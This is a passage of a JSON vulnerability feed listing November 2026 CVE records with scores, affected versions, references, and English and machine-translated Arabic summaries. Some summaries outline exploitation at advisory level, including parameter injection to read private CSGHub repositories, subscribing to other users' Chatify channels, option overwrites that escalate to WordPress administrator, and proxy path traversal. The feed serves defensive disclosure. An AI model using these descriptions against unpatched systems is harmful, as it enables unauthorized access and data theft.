شيفرة."},"refs":[["https://sourceforge.net/p/netpbm/code/5328/","patch"],["https://www.vulncheck.com/advisories/netpbm-before-10.86.51-11.02.30-and-11.15.08-picttoppm-stack-buffer-overflow-via-paintpoly","advisory"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5327/trunk/converter/ppm/picttoppm.c","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5357/advanced/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5358/stable/doc/HISTORY","ref"],["https://svn.code.sf.net/p/netpbm/code/!svn/bc/5371/super_stable/doc/HISTORY","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"netpbm"},{"id":"CVE-2026-120426","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T15:17:23Z","product":"OpenCSG CSGHub","affected":[["0 – v2.6.0-ce",null]],"title":{"en":"OpenCSG CSGHub through v2.6.0-ce Unauthenticated Private Repository File Read via Resolve Route","ar":"قراءة ملفات مستودع خاص دون مصادقة عبر مسار التحويل في OpenCSG CSGHub حتى الإصدار v2.6.0-ce"},"summary":{"en":"OpenCSG CSGHub through v2.6.0-ce contains an authorization bypass vulnerability in the unauthenticated file resolve route that allows remote attackers to read private repository files. Attackers can inject a percent-encoded current_user parameter into the file path, which the portal forwards with its server API key, to read files in private model, code or space repositories.","ar":"تحتوي OpenCSG CSGHub حتى الإصدار v2.6.0-ce على ثغرة تجاوز المصادقة في مسار دالة حل الملفات دون مصادقة والتي تسمح للمهاجمين عن بُعد بقراءة ملفات المستودعات الخاصة. يمكن للمهاجمين حقن معامل current_user مشفر بنسبة مئوية في مسار الملف، والذي يقوم البوابة بتوجيهه مع مفتاح API الخاص بخادمه، لقراءة الملفات في مستودعات النماذج أو التعليمات البرمجية أو المساحات الخاصة."},"refs":[["https://www.vulncheck.com/advisories/opencsg-csghub-through-2.6.0-ce-unauthenticated-private-repository-file-read-via-resolve-route","advisory"],["https://github.com/OpenCSGs/csghub-server/blob/v2.6.0-ce/api/middleware/authenticator.go#L210-L226","ref"],["https://github.com/OpenCSGs/csghub/blob/v2.6.0-ce/internal/handlers/frontend/resolve.go#L138-L151","ref"],["https://github.com/OpenCSGs/csghub/blob/v2.6.0-ce/internal/routes/router.go#L302-L303","ref"],["https://github.com/OpenCSGs/csghub/blob/v2.6.0-ce/pkg/server/backend/csghubserver/download.go#L10-L41","ref"],["https://github.com/OpenCSGs/csghub/issues/1586","ref"],["https://github.com/OpenCSGs/csghub/releases/tag/v2.6.0-ce","ref"],["https://hackmd.io/@hieund/csghub-private-repo-file-read-idor","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"opencsg-csghub"},{"id":"CVE-2026-120318","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T15:17:22Z","product":"Codeixer Product Gallery Slider & Additional Variation Images for WooCommerce","affected":[["2.3.23 – <2.3.26","2.3.26"]],"title":{"en":"Product Gallery Slider for WooCommerce 2.3.23 before 2.3.26 Missing Authorization via Codestar AJAX","ar":"قصور في المصادقة عبر Codestar AJAX في Product Gallery Slider for WooCommerce النسخة 2.3.23 قبل الإصدار 2.3.26"},"summary":{"en":"Product Gallery Slider & Additional Variation Images for WooCommerce 2.3.23 before 2.3.26 contains a missing authorization vulnerability in Codestar backup AJAX actions csf-export, csf-import and csf-reset. Shop Managers can read the csf_backup_nonce from the settings page and supply arbitrary option names via the 'unique' parameter to read, overwrite or delete WordPress options, including modifying wp_user_roles to escalate to administrator.","ar":"تحتوي Product Gallery Slider & Additional Variation Images for WooCommerce النسخة 2.3.23 قبل الإصدار 2.3.26 على ثغرة نقص المصادقة في إجراءات النسخ الاحتياطي عبر AJAX الخاصة بـ Codestar وهي csf-export وcsf-import وcsf-reset. يمكن لمديري المتاجر قراءة csf_backup_nonce من صفحة الإعدادات وتوفير أسماء خيارات عشوائية عبر معامل 'unique' لقراءة أو الكتابة فوق أو حذف خيارات ووردبريس، بما في ذلك تعديل wp_user_roles لتصعيد الصلاحيات إلى مسؤول."},"refs":[["https://downloads.wordpress.org/plugin/woo-product-gallery-slider.2.3.26.zip","patch"],["https://plugins.svn.wordpress.org/woo-product-gallery-slider/tags/2.3.26/includes/cdx-framework/functions/actions.php","patch"],["https://www.vulncheck.com/advisories/product-gallery-slider-for-woocommerce-2.3.23-before-2.3.26-missing-authorization-via-codestar-ajax","advisory"],["https://plugins.svn.wordpress.org/woo-product-gallery-slider/tags/2.3.25/includes/codestar/functions/actions.php","ref"],["https://plugins.svn.wordpress.org/woo-product-gallery-slider/tags/2.3.25/src/Options.php","ref"],["https://wordpress.org/plugins/woo-product-gallery-slider/#developers","ref"]],"epss":0.0042,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"codeixer-product-gallery-slider-additional-variation-images"},{"id":"CVE-2026-115653","cvss":7,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T15:10:18Z","product":"Eclipse Foundation Eclipse ThreadX","affected":[["6.0.1 – 6.5.2.202603",null]],"title":{"en":"Cortex-M module ports save a preempted user-mode module thread's registers through its unchecked stack pointer in privileged mode","ar":"منافذ وحدة Cortex-M تحفظ مسجلات خيط وحدة وضع المستخدم المقاطعة عبر مؤشر التكديس غير المتحقق منه في وضع الامتياز"},"summary":{"en":"In Eclipse ThreadX versions 6.0.1 through 6.5.2.202603, the PendSV handler of the Cortex-M module ports saves a preempted user-mode module thread's registers in privileged mode at addresses taken from the thread's stack pointer, without checking that pointer against the thread's stack. A user-mode, memory-protected module can thereby write up to nine words, eight of its choosing, or 25 with floating-point state, into memory immediately below any region it may write, and read back what is stored there.","ar":"في إصدارات Eclipse ThreadX من 6.0.1 إلى 6.5.2.202603، يقوم معالج PendSV لمنافذ وحدة Cortex-M بحفظ مسجلات خيط وحدة وضع المستخدم المقاطعة في وضع الامتياز في عناوين مأخوذة من مؤشر التكديس للخيط، دون التحقق من ذلك المؤشر مقابل تكديس الخيط. يمكن لوحدة محمية بالذاكرة في وضع المستخدم بالتالي كتابة ما يصل إلى تسع كلمات، ثمانية منها من اختيارها، أو 25 مع حالة النقطة العائمة، في الذاكرة مباشرة أسفل أي منطقة قد تكتبها، وقراءة ما يتم تخزينه هناك."},"refs":[["https://github.com/eclipse-threadx/threadx/security/advisories/GHSA-c38r-v552-gh5g","ref"],["https://gitlab.eclipse.org/security/cve-assignment/-/work_items/503","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"eclipse-foundation-eclipse-threadx"},{"id":"CVE-2026-120425","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-639","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T14:28:51Z","product":"munafio Chatify","affected":[["0 – <1.6.4","1.6.4"]],"title":{"en":"Chatify before 1.6.4 Pusher Authorization Bypass via /chat/auth Endpoint","ar":"ثغرة تجاوز المصادقة في Pusher ضمن Chatify للإصدارات التي تسبق 1.6.4 عبر نقطة النهاية \\/chat\\/auth"},"summary":{"en":"Chatify before 1.6.4 contains an authorization bypass vulnerability in the Pusher channel authorization endpoint that allows authenticated users to subscribe to other users' private channels by supplying arbitrary channel names. Attackers can request a signature for private-chatify.<victim id> via POST /chat/auth to receive the victim's incoming private messages and attachments in real time.","ar":"يحتوي Chatify للإصدارات التي تسبق 1.6.4 على ثغرة تجاوز المصادقة في نقطة نهاية مصادقة قناة Pusher والتي تسمح للمستخدمين الذين يملكون حسابًا مصادقًا عليه بالاشتراك في القنوات الخاصة للمستخدمين الآخرين من خلال توفير أسماء قنوات عشوائية. يمكن للمهاجمين طلب توقيع لـ private-chatify.<victim id> عبر طلب POST إلى \\/chat\\/auth لتلقي رسائل الضحية الخاصة الواردة والمرفقات في الوقت الفعلي."},"refs":[["https://github.com/munafio/chatify/commit/e16bdb197d227aa2a66863c166bbb31c5f45bc2a","patch"],["https://www.vulncheck.com/advisories/chatify-before-1.6.4-pusher-authorization-bypass-via-chat-auth-endpoint","advisory"],["https://github.com/munafio/chatify/issues/412","ref"],["https://github.com/munafio/chatify/releases/tag/v1.6.4","ref"],["https://github.com/munafio/chatify/blob/v1.6.3/src/ChatifyMessenger.php#L101-L124","ref"],["https://hackmd.io/@hieund/chatify-pusher-channel-authorization-bypass","ref"],["https://hackmd.io/@hieund/cve-2026-120425-chatify-pusher-channel-authorization-bypass","ref"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"munafio-chatify"},{"id":"CVE-2026-74993","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T13:37:17Z","product":"Starnet Computer and Network Systems Inventory Tracking Application","affected":[["0 – 2026-10-16",null]],"title":{"en":"SQL Injection in Starnet Computer Systems' Inventory Tracking Application","ar":"ثغرة حقن SQL في تطبيق تتبع المخزون من Starnet Computer Systems"},"summary":{"en":"Improper neutralization of special elements used in an SQL command ('SQL injection') vulnerability in Starnet Computer and Network Systems Inventory Tracking Application allows SQL Injection. This issue affects Inventory Tracking Application: through 2026-10-16.","ar":"تتيح ثغرة تحييد غير السليم للعناصر الخاصة المستخدمة في أمر SQL (حقن SQL) في تطبيق تتبع المخزون من Starnet Computer and Network Systems إمكانية تنفيذ حقن SQL. تؤثر هذه المشكلة على تطبيق تتبع المخزون حتى تاريخ 2026-10-16."},"refs":[["https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-1441","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"starnet-computer-and-network-systems-inventory-tracking-appl"},{"id":"CVE-2026-102802","cvss":8.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T13:29:10Z","product":"regularlabs.com Sourcerer Free extension for Joomla","affected":[["13.0.0-17.0.0",null],["3.0.0-17.0.0",null],["1.4.5-20.1.0",null]],"title":{"en":"Joomla Extension - regularlabs.com - PHP code injection vector in Sourcerer extension < 17.0.1 when used with Articles Anywhere extension < 20.1.1","ar":"إضافة Joomla - regularlabs.com - ناقل حقن شيفرة PHP في إضافة Sourcerer الإصدارات أقل من 17.0.1 عند استخدامها مع إضافة Articles Anywhere الإصدارات أقل من 20.1.1"},"summary":{"en":"Joomla Extension - regularlabs.com - PHP code injection vector in Sourcerer extension < 17.0.1 when used with Articles Anywhere extension < 20.1.1 - Sourcerer can restrict PHP in articles according to article-author trust; the exact creator and last-editor rule varies by release. Articles Anywhere can insert the text or full layout of one article into another. In the affected combination, when Articles Anywhere processes an inclusion before Sourcerer and Force Content Triggers is off, the included article's Sourcerer code can be evaluated using the enclosing article's trusted identity rather than the included article's own identity. The resulting gap is between the authority of the article supplying the code and the authority used to decide whether to run it. Ordinary Articles Anywhere output is not itself the issue.","ar":"إضافة Joomla - regularlabs.com - ناقل حقن شيفرة PHP في إضافة Sourcerer الإصدارات أقل من 17.0.1 عند استخدامها مع إضافة Articles Anywhere الإصدارات أقل من 20.1.1. يمكن لإضافة Sourcerer تقييد شيفرة PHP في المقالات وفقاً لثقة مؤلف المقال؛ وتختلف قاعدة المنشئ الفعلي والمحرر الأخير بحسب الإصدار. يمكن لإضافة Articles Anywhere إدراج نص أو تخطيط كامل لمقال داخل مقال آخر. في التركيبة المتأثرة، عندما تقوم إضافة Articles Anywhere معالجة التضمين قبل Sourcerer وتكون ميزة Force Content Triggers متوقفة، يمكن تقييم شيفرة Sourcerer الخاصة بالمقال المضمن باستخدام الهوية الموثوقة للمقال المحيط بدلاً من هوية المقال المضمن نفسه. الثغرة الناتجة تقع بين صلاحية المقال المزود للشيفرة والصلاحية المستخدمة لتحديد ما إذا كان سيتم تشغيلها. مخرجات Articles Anywhere العادية بحد ذاتها ليست هي المشكلة."},"refs":[["https://www.regularlabs.com/","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"regularlabs-com-sourcerer-free-extension-for-joomla"},{"id":"CVE-2026-103419","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T13:24:53Z","product":"joomshaper.com Helix Ultimate extension for Joomla","affected":[["1.0-2.2.10",null]],"title":{"en":"Joomla Extension - joomshaper.com - Stored Cross-Site Scripting (XSS) in Media Picker in Helix Ultimate < 2.2.11.","ar":"إضافة Joomla - joomshaper.com - برمجة مخزنة بين المواقع (XSS) في Media Picker ضمن إضافة Helix Ultimate الإصدارات أقل من 2.2.11."},"summary":{"en":"Joomla Extension - joomshaper.com - Stored Cross-Site Scripting (XSS) in Media Picker in Helix Ultimate < 2.2.11.","ar":"إضافة Joomla - joomshaper.com - برمجة مخزنة بين المواقع (XSS) في Media Picker ضمن إضافة Helix Ultimate الإصدارات أقل من 2.2.11."},"refs":[["https://www.joomshaper.com/joomla-templates/helixultimate","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"joomshaper-com-helix-ultimate-extension-for-joomla"},{"id":"CVE-2026-103420","cvss":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-352","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T13:24:37Z","product":"php-web-design.com StageIt extension for Joomla","affected":[["1.0-5.7.5",null],["6.0-6.3.5",null]],"title":{"en":"Joomla Extension - php-web-design.com - CSRF for various actions in StageIt 1.0-5.7.5, 6.0-6.3.5","ar":"إضافة Joomla - php-web-design.com - تزوير الطلبات عبر المواقع (CSRF) لعدة إجراءات في StageIt الإصدارات 1.0-5.7.5 و 6.0-6.3.5"},"summary":{"en":"Joomla Extension - php-web-design.com - CSRF for various actions in StageIt 1.0-5.7.5, 6.0-6.3.5","ar":"إضافة Joomla - php-web-design.com - تزوير الطلبات عبر المواقع (CSRF) لعدة إجراءات في StageIt الإصدارات 1.0-5.7.5 و 6.0-6.3.5"},"refs":[["https://www.php-web-design.com/Information/stageit-6-changelog.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"php-web-design-com-stageit-extension-for-joomla"},{"id":"CVE-2026-105600","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T13:23:25Z","product":"php-web-design.com StageIt extension for Joomla","affected":[["1.0-5.7.5",null],["6.0-6.3.5",null]],"title":{"en":"Joomla Extension - php-web-design.com - RCE via setting strings in StageIt 1.0-5.7.5, 6.0-6.3.5","ar":"إضافة Joomla - php-web-design.com - تنفيذ أوامر عن بُعد من خلال ضبط السلاسل في StageIt 1.0-5.7.5، 6.0-6.3.5"},"summary":{"en":"Joomla Extension - php-web-design.com - RCE via setting strings in StageIt 1.0-5.7.5, 6.0-6.3.5","ar":"إضافة Joomla - php-web-design.com - تنفيذ أوامر عن بُعد من خلال ضبط السلاسل في StageIt الإصدارات 1.0-5.7.5، 6.0-6.3.5"},"refs":[["https://www.php-web-design.com/Information/stageit-6-changelog.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"php-web-design-com-stageit-extension-for-joomla"},{"id":"CVE-2026-105602","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T13:19:43Z","product":"joomshaper.com Helix Ultimate extension for Joomla","affected":[["1.0-2.2.10",null]],"title":{"en":"Joomla Extension - joomshaper.com - Stored Cross-Site Scripting (XSS) in Mega Menu Badge Text in Helix Ultimate < 2.2.11.","ar":"إضافة Joomla - joomshaper.com - برمجة نصوص عبر المواقع مخزنة (Stored XSS) في نص شارة القائمة الكبيرة في Helix Ultimate الإصدارات أقل من 2.2.11."},"summary":{"en":"Joomla Extension - joomshaper.com - Stored Cross-Site Scripting (XSS) in Mega Menu Badge Text in Helix Ultimate < 2.2.11.","ar":"إضافة Joomla - joomshaper.com - برمجة نصوص عبر المواقع مخزنة (Stored XSS) في نص شارة القائمة الكبيرة في Helix Ultimate الإصدارات أقل من 2.2.11."},"refs":[["https://www.joomshaper.com/joomla-templates/helixultimate","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"joomshaper-com-helix-ultimate-extension-for-joomla"},{"id":"CVE-2026-92886","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":["LPE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T13:17:41Z","product":"TÜBİTAK BİLGEM Software Technologies Research Institute eta-register","affected":[["2.0.8 – <2.0.9","2.0.9"]],"title":{"en":"Local Privilege Escalation via Polkit Misconfiguration in TÜBİTAK BİLGEM's eta-register","ar":"تصعيد الصلاحيات محلياً عبر سوء تكوين Polkit في eta-register التابع لـ TÜBİTAK BİLGEM"},"summary":{"en":"Missing Authorization vulnerability in TÜBİTAK BİLGEM Software Technologies Research Institute eta-register allows Privilege Escalation. This issue affects eta-register: from 2.0.8 before 2.0.9.","ar":"ثغرة غياب التفويض في أداة eta-register التابعة لمعهد أبحاث تقنيات البرمجيات TÜBİTAK BİLGEM تتيح تصعيد الصلاحيات. تؤثر هذه المشكلة على eta-register من الإصدار 2.0.8 وحتى ما قبل 2.0.9."},"refs":[["https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-1440","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"t-b-tak-b-lgem-software-technologies-research-institute-eta"},{"id":"CVE-2026-94349","cvss":8,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T13:17:41Z","product":"Dell OpenManage Enterprise","affected":[[" – <4.8.0","4.8.0"]],"title":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Inject","ar":"يحتوي Dell OpenManage Enterprise، الإصدارات السابقة لـ 4.8.0، على تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أمر نظام التشغيل)"},"summary":{"en":"Dell OpenManage Enterprise, versions prior to 4.8.0, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with adjacent network access could potentially exploit this vulnerability, leading to Command execution.","ar":"يحتوي Dell OpenManage Enterprise، الإصدارات السابقة لـ 4.8.0، على ثغرة تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل (حقن أمر نظام التشغيل). يمكن لمهاجم يملك صلاحيات منخفضة وله إمكانية وصول عبر شبكة مجاورة استغلال هذه الثغرة محتملًا، مما يؤدي إلى تنفيذ أوامر."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000523220/dsa-2026-467-security-update-for-dell-openmanage-enterprise-vulnerabilities?msockid=3021cac2195069ed3194ddad186a68f9","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-openmanage-enterprise"},{"id":"CVE-2026-116606","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-288","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T12:59:11Z","product":"Barracuda Networks Barracuda Email Security Gateway (ESG)","affected":[["0 – <9.4.0.030","9.4.0.030"]],"title":{"en":"Authentication Bypass Allows Global Configuration Restore in Barracuda Email Security Gateway","ar":"تخطي المصادقة يتيح استعادة الإعدادات العامة في Barracuda Email Security Gateway"},"summary":{"en":"An authentication bypass in Barracuda Email Security Gateway versions earlier than 9.4.0.030 allows an unauthenticated remote attacker to invoke a configuration-import function and restore a crafted, compatible backup archive, resulting in unauthorized modification of the appliance’s global configuration.","ar":"يؤدي وجود ثغرة لتخطي المصادقة في إصدارات Barracuda Email Security Gateway السابقة للإصدار 9.4.0.030 إلى تمكين مهاجم عن بُعد دون مصادقة من استدعاء وظيفة استيراد الإعدادات واستعادة أرشيف نسخة احتياطية متوافق ومصمم خصيصًا، مما ينتج عنه تعديل غير مصرح به للإعدادات العامة للجهاز."},"refs":[["https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2026/MNDT-2026-0042.md","advisory"],["https://trust.barracuda.com/security/pre-authentication-authorization-bypass-command-injection","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"barracuda-networks-barracuda-email-security-gateway"},{"id":"CVE-2026-111560","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T12:59:03Z","product":"Barracuda Networks Barracuda Email Security Gateway (ESG)","affected":[["0 – 9.4.0.27",null],["0 – 6.4.0",null],["0 – 11.0.1",null],["0 – 16.1.100.100",null],["0 – 5.5.4.0",null],["0 – 2.2.1",null]],"title":{"en":"OS Command Injection in Barracuda Appliances","ar":"حقن أوامر نظام التشغيل في أجهزة Barracuda"},"summary":{"en":"Improper neutralization of shell metacharacters in the timezone configuration field in certain Barracuda appliance products using common Barracuda code allows an authenticated administrator to inject OS commands that execute with root privileges when the crafted timezone value is subsequently processed.","ar":"يسمح الحياد غير السليم لرموز الصدفة (shell metacharacters) في حقل إعدادات المنطقة الزمنية في بعض منتجات أجهزة Barracuda التي تستخدم شفرة Barracuda الشائعة لمسؤول مصادق عليه بحقن أوامر نظام التشغيل التي تُنفّذ بصلاحيات الجذر (root) عند معالجة قيمة المنطقة الزمنية المصممة خصيصًا لاحقًا."},"refs":[["https://github.com/mandiant/Vulnerability-Disclosures/blob/master/2026/MNDT-2026-0041.md","advisory"],["https://trust.barracuda.com/security/pre-authentication-authorization-bypass-command-injection","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"barracuda-networks-barracuda-email-security-gateway"},{"id":"CVE-2026-117518","cvss":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T11:17:30Z","product":"@fastify/reply-from @fastify/reply-from","affected":[["0 – <12.8.1","12.8.1"]],"title":{"en":"@fastify/reply-from vulnerable to path traversal via backslash dot-segment prefix escape","ar":"مكون @fastify/reply-from معرض لثغرة العبور عبر المسار من خلال تجاوز بادئة أجزاء النقاط باستخدام الشرطة المائلة العكسية"},"summary":{"en":"@fastify/reply-from is a Fastify plugin that forwards requests to an upstream HTTP server. In versions up to and including 12.8.0, the plugin validated proxy paths against forward-slash dot-segments only and then built the target with the WHATWG URL parser, which normalizes a backslash and its percent-encoded form to a forward slash on the http, https, ws, and wss schemes. A path that uses backslash dot-segments therefore bypasses the traversal check and resolves to a different upstream path, so an application that scopes proxying to an upstream prefix, or relies on route guards in front of the forwarding call, can have an unauthenticated request escape the intended prefix and reach other upstream endpoints. The resulting access to unintended upstream resources is primarily a confidentiality impact with limited integrity impact. The issue is fixed in @fastify/reply-from 12.8.1, where the path is normalized and any segment resolving to a single or double dot, along with control characters and ambiguous whitespace, is rejected before the URL is constructed, and users should upgrade to 12.8.1 or later. There is no workaround other than upgrading.","ar":"مكون @fastify/reply-from هو إضافة لـ Fastify تقوم بتوجيه الطلبات إلى خادم HTTP صاعد (upstream). في الإصدارات حتى 12.8.0 والحزم السابقة لها، كانت الإضافة تتحقق من مسارات الوكيل مقابل أجزاء النقاط المسبوقة بشرطة مائلة أمامية فقط، ثم تبني الهدف باستخدام محلل WHATWG URL، الذي يقوم بتطبيع الشرطة المائلة العكسية وصيغتها المرمزة بنسبة مئوية إلى شرطة مائلة أمامية في بروتوكولات http وhttps وws وwss. وبناءً على ذلك، يتجاوز المسار الذي يستخدم أجزاء النقاط ذات الشرطة المائلة العكسية فحص العبور ويترجم إلى مسار صاعد مختلف، مما يسمح لطلب دون مصادقة بالهروب من البادئة المحددة والوصول إلى نقاط نهاية صاعدة أخرى في التطبيقات التي تقيد التوجيه ببادئة صاعدة أو تعتمد على حراس المسارات (route guards) قبل إجراء التوجيه. وينتج عن هذا الوصول إلى موارد صاعدة غير مقصودة تأثير أساسي على السرية مع تأثير محدود على السلامة. تم إصلاح هذه المشكلة في الإصدار 12.8.1 من @fastify/reply-from، حيث يتم تطبيع المسار ورفض أي جزء يترجم إلى نقطة واحدة أو نقطتين، بالإضافة إلى أحرف التحكم والمساحات البيضاء الغامضة، وذلك قبل إنشاء URL. ويجب على المستخدمين الترقية إلى الإصدار 12.8.1 أو أحدث، حيث لا يتوفر أي حل بديل سوى الترقية."},"refs":[["https://cna.openjsf.org/security-advisories.html","ref"],["https://github.com/fastify/fastify-reply-from/security/advisories/GHSA-vp2r-3vgv-32g9","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"fastify-reply-from"},{"id":"CVE-2026-8923","cvss":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T10:32:55Z","product":"Zohocorp ManageEngine Eventlog Analyzer","affected":[["0 – <13062","13062"]],"title":{"en":"Remote Code Execution","ar":"تنفيذ أوامر عن بُعد"},"summary":{"en":"Zohocorp ManageEngine Eventlog Analyzer and ManageEngine Log360 versions before 13062 are vulnerable to Authenticated Remote Code Execution in Log Forward option.","ar":"تتأثر إصدارات Zohocorp ManageEngine Eventlog Analyzer و ManageEngine Log360 الأقدم من 13062 بثغرة تنفيذ أوامر عن بُعد مع المصادقة في خيار Log Forward."},"refs":[["https://www.manageengine.com/products/eventlog/advisory/CVE-2026-8923.html","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"zohocorp-manageengine-eventlog-analyzer"},{"id":"CVE-2026-120213","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T10:15:08Z","product":"@fastify/http-proxy @fastify/http-proxy","affected":[["9.0.0 – <11.6.6","11.6.6"]],"title":{"en":"@fastify/http-proxy vulnerable to prefix escape via decoded route parameters","ar":"@fastify/http-proxy عرضة للهروب من البادئة عبر معلمات المسار المفكوك تشفيرها"},"summary":{"en":"@fastify/http-proxy is a Fastify plugin that proxies HTTP requests to an upstream server under a configured prefix. In versions 9.0.0 through 11.6.5, when an application uses parameterized prefix and rewritePrefix options to pin clients to a fixed upstream path, the plugin substitutes URL-decoded route parameters into rewritePrefix without re-encoding them. A parameter value that encodes a path separator together with a fragment or query delimiter therefore decodes into real separators and delimiters that inject extra upstream path segments and strip the mandatory suffix the rewritePrefix was meant to enforce, without using any dot-dot traversal. An unauthenticated remote attacker can use this to reach upstream locations outside the intended prefix, leading to path-restriction bypass and, depending on the upstream, server-side request forgery or authorization bypass in the proxied service. The issue is fixed in @fastify/http-proxy 11.6.6, and users should upgrade to 11.6.6 or later. There is no workaround other than upgrading.","ar":"@fastify/http-proxy هو ملحق لـ Fastify يوجه طلبات HTTP وكالةً إلى خادم upstream تحت بادئة مُهيأة. في الإصدارات من 9.0.0 حتى 11.6.5، عندما يستخدم تطبيق خيارات prefix و rewritePrefix المعلمة لتثبيت العملاء على مسار upstream ثابت، يستبدل الملحق معلمات المسار المفكوك 